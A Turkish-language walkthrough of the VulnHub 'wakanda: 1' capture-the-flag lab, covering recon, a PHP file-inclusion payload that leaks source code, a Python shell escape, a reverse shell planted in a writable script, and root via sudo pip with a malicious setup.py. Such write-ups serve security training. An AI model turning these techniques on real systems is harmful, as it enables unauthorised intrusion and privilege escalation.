Wakanda Walkthrough
Wakanda Walkthrough
Bu yazımda VulnHub da bulunan wakanda: 1 adlı makinenin çözümünü anlatacağım. Amacımız makinede bulunan flag1.txt, flag2.txt ve son olarak da root.txt yi bulup okumak.
Bu seriye yeni başladığım için lab ortamını nasıl kurduğumdan kısaca bahsetmek istiyorum.
Ben lab ortamını Virtualbox üzerinden kurduğum için anlatımlar o yönde olacaktır. Vmware için de benzer adımlar vardır.
VirtualBoxı açtıktan sonra üstteki menüden File sekmesi altında Import Appliance seçeneğini seçiyoruz.
Karşımıza çıkan ekranda indirmiş olduğumuz wakanda-1.ova isimli dosyanın konumunu belirliyoruz.
Default ayarlarla makineyi import ediyoruz.
Şimdi lokal ağımızı oluşturmak için yine File sekmesinden Host Network Manager a tıklıyoruz. Karşımıza çıkan ekrandan sol taraftaki Create butonuna basıyoruz. Program bizim için sanal makineler arasında kullanabilmek için sanal bir adaptör tanımladı. Ayarların aşağıdaki şekilde olması gerekiyor.
DHCP Serverın aktif olmasına dikkat edin, aktif olmadığı durumlarda zafiyetli makine otomatik olarak ip alamayacaktır.
DHCP ayarlarında görüldüğü üzere Server adresini 192.168.56.100 olarak ayarladık ve bu adaptöre bağlanacak olan cihazların 192.168.56.101-254 arası ip almasını sağladık.
Şimdi makinenin network ayarlarını yapmamız gerekiyor. Makineyi sol listeden seçip ayarlarına gidiyoruz.
Sol listeden Networkü seçip Host-only Adapteri seçip kurduğumuz vboxnet0‘ı seçiyoruz.
Zafiyet taraması yapmak için kullandığım Parrot OS virtualbox üzerinde kurulu olduğu için network ayarlarını yapmamız gerekiyor. Bu makinede internet bağlantısına ihtiyacım olduğu için 2 tane adaptör bağlamam gerekiyor. Parrot OS un network ayarlarına gidip birinci adaptörü NAT olarak ayarlıyorum.
İkinci Adaptörü de vboxnet0 olarak ayarlıyorum.
Zafiyetli makine çalıştıktan sonra karşımıza böyle bir ekran geldi.
Zafiyet taramasını yapmak için Parrot OS kurulu olan makineyi de çalıştırıp ağ arayüzlerine bakmak için
mnykmct@parrot:~$ ifconfig
komutunu kullanıyorum.
eth0: İnternete çıkabilmek için kullandığımız NAT ağına bağlı olan arayüz. eth1: Zafiyetli makine olan wakanda nın bağlı olduğu arayüz.
eth1 arayüzünde hangi cihazların ip adresi aldığına bakalım.
mnykmct@parrot:~$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Hedef IP : 192.168.56.101
Makinede hangi portların açık olduğuna bakalım.
mnykmct@parrot:~/wakanda$ sudo nmap -sS -sV -T4 -p- 192.168.56.101 -o wakanda.nmap
-sS: Port üzerindeki servisleri belirler. -sV: Belirlenen servislerin versiyon numaralarını belirler. -T4: Taramanın hızını belirler ( 0-5 ) arası değer alır. -p-: Bütün portları (0-65535) tarar. -o: Çıktıyı yönlendirir.
Nmap çıktısına göre 80 portunda HTTP servisi çalışıyor yani bizi bir web sayfası karşılayacak. Büyük ihtimalle bir kullanıcı adı ve şifre bularak SSH bağlantısı yapmamız gerekecek.
Tarayıcıdan, yayınlanan sayfaya gidelim.
Tamamen statik bir web sayfası karşıladı bizi. En altta @mamadou yazıyor belki kullanıcı adı olabilir. Sayfadaki linklerden herhangi bir yere gidilmiyor o zaman sayfanın kaynak kodunu inceleyelim.
Sayfanın kaynak kodundaki yorum kısmı dikkat çekiyor. Index sayfasında kullanılabilen bir parametre.
Şimdi anasayfada bir dizin taraması yapalım.
mnykmct@parrot:~/wakanda$ dirb "http://192.168.56.101/"
index.php diye bir sayfa buldu. Bu bizim index sayfamız oluyor.
Bir önceki adımda bulduğumuz ?lang=fr parametresini index.php üzerinde kullanalım.
Ortadaki açıklama yazısının değiştiğini görüyoruz ama elimizde hala bişey yok. Dizin taramasını biraz daha özelleştirip tekrarlayalım.
mnykmct@parrot:~/wakanda$ dirb "http://192.168.56.101/" -X ".php"
-X: özel dosya uzantılarını belirtmek için kullanılır.
Çıktıda fr.php diye bir dosya gözüküyor. Demek ki lang parametresi ile çağırdığımız şey aslında bir dosya. Tarayıcıda lang=fr den hemen sonra bir tek tırnak (‘) koyalım.
Coming soon un altında yazan yazı tamamen kayboldu. Burada Php de çalışan ve dışarıdan dosyaları okumamıza yarayan bir zafiyet olan Local File Inclusion zafiyeti olabilir.
LFI Cheat Sheet sayfasında bulunan kodları biraz inceledikten sonra istediğimi buluyorum.
http://192.168.56.101/index.php?lang=php://filter/convert.base64-encode/resource=index Burada index sayfasının kaynak kodunu base64 ile kodlayarak çektik.
Base64 olan kodu decode ediyorum.
mnykmct@parrot:~/wakanda$ echo -n "base64kod" | base64 -d
Orada bir parola var sanki …
Önceki adımlarda da mamadou diye bir kullanıcı ismi bulmuştuk. mamadou adlı kullanıcıya SSH bağlantısı kurmaya çalışalım.
mnykmct@parrot:~/wakanda$ ssh mamadou@192.168.56.101 -p 3333
Bingo! Bağlantıyı sağladık ama şimdi de Python kabuğuna giriş yaptı.
Buradan kurtulmak için ufak bi kod yazalım.
>>> import os
>>> os.system("/bin/bash")
Bulunduğumuz dizindeki dosyaları tarayalım. İlk flag olan flag1.txt yi ele geçirmiş olduk.
mamadou@Wakanda1:~$ ls
mamadou@Wakanda1:~$ cat flag1.txt
Diğer flagi bulmadan önce sistem hakkında yararlı olabilecek bilgileri ele geçirmeye çalışalım. Bunun için LinEnum.sh dosyasını indirelim. Zafiyetli makinemiz internete çıkamadığı için Parrottan indirip zafiyetli makineye Python aracılığı ile aktaracağız.
mnykmct@parrot:~/vulns/wakanda$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
mnykmct@parrot:~/vulns/wakanda$ python -m SimpleHTTPServer
SimpleHTTPServer default olarak 8000 portundan yayın yapıyor.
Zafiyetli makineden dosyayı wget ile çekip chmod ile çalıştırma iznini verdikten sonra çalıştırıyoruz.
mamadou@Wakanda1:~$ wget 192.168.56.102:8000/LinEnum.sh
mamadou@Wakanda1:~$ chmod +x LinEnum.sh
mamadou@Wakanda1:~$ ./LinEnum.sh
Programın bize verdiği düzenlenmiş çıktıların arasında /etc/passwdnin çıktısına göre sistemde devops adında bir kullanıcının daha olduğunu öğreniyoruz.
O zaman /home/devops dizininde neler olduğuna bir bakıp varsa dosyaları okumaya çalışalım.
mamadou@Wakanda1:~$ cd ../devops/
mamadou@Wakanda1:/home/devops$ ls -al
mamadou@Wakanda1:/home/devops$ cat flag2.txt
flag2.txt yi bulduk ama okuyamıyoruz.
Devops’a ait olan başka dizindeki dosyaları bulmaya çalışalım.
mamadou@Wakanda1:/home/devops$ find / -user devops -name ".*"
/srv dizini altında gizli bir dosya var.
Dosyanın içeriğini okuduğumuzda /tmp dizini altında test adlı bir dosyayı açıp içine test yazdığını anlıyoruz.
/tmp dizinini kontrol ettiğimizde ise gerçekten de dosyanın orada olduğunu anlıyoruz. O zaman bunun içine pythonca bir reverse shell ekleyelim. Reverse Shell e gidip pyhton için olan scripti alıyoruz ve kendimize göre düzenleyip .antivirus.py dosyasının içine yazıyoruz.
mamadou@Wakanda1:/srv$ nano .antivirus.py
192.168.56.102: Zafiyet taraması için kullandığım Parrot OSun IPsi
Parrottan, önceki adımda ayarlamış olduğumuz şekilde 1234 portunu dinlemeye başlıyoruz. Zafiyetli makineyi baştan başlattığımızda devops komut satırına erişmiş oluyoruz.
Şimdi de ikinci flagi okuyalım.
devops@Wakanda1:~$ cd
devops@Wakanda1:~$ ls
devops@Wakanda1:~$ cat flag2.txt
Enumeration için mamadou kullanıcısında yaptığımız gibi bunda da LinEnum.sh dosyasını çalıştıralım.
devops@Wakanda1:~$ ../mamadou/LinEnum.sh
mamadou sudo kullanıcı olmadığı için /etc/sudoers dosyasını da okuyamamıştık. Şimdi o dosyanın içinde /usr/bin/pip programını parolasız bir şekilde root yetkileri ile çalıştırabildiğimizi yazdığını öğreniyoruz.
Pip, Pythonda üçüncü parti uygulamaları yüklememizi sağlayan bir scripttir.
Bu programı kullanarak root yetkisi elde etmeye çalışacağız. Bunun için internette biraz araştırma yaptıktan sonra şöyle bir site buldum.
Buradaki anlatımı dikkate alarak Parrotta setup.py adlı bir dosya oluşturup SimpleHTTPServer ile zafiyetli makineye aktardım.
setup.py nin içeriği bu şekilde olacak. change this yazan yere Parrot OS un IPsini yazdık.
Şimdi de Parrot da farklı bir terminal açıp 443. portu dinleyelim. Çünkü reverse shellimiz bu port üzerinden çalışıyor.
mnykmct@parrot:~/wakanda$ sudo nc -nlvp 443
FakePip de verilen adımları uygulayarak fakepip adlı klasöre, indirdiğimiz setup.py dosyasını attık. Ardından fakepip dizinine giriş yapıp asıl kodumuzu çalıştırıyoruz.
devops@Wakanda1:~$ mkdir fakepip
devops@Wakanda1:~$ mv setup.py fakepip
devops@Wakanda1:~$ cd fakepip
devops@Wakanda1:~/fakepip$ sudo /usr/bin/pip install . --upgrade --force-reinstall
Kod çalışınca Parrota da 443. port üzerinden reverse shell gelmiş oldu.
root.txt yi de ele geçirmiş olduk.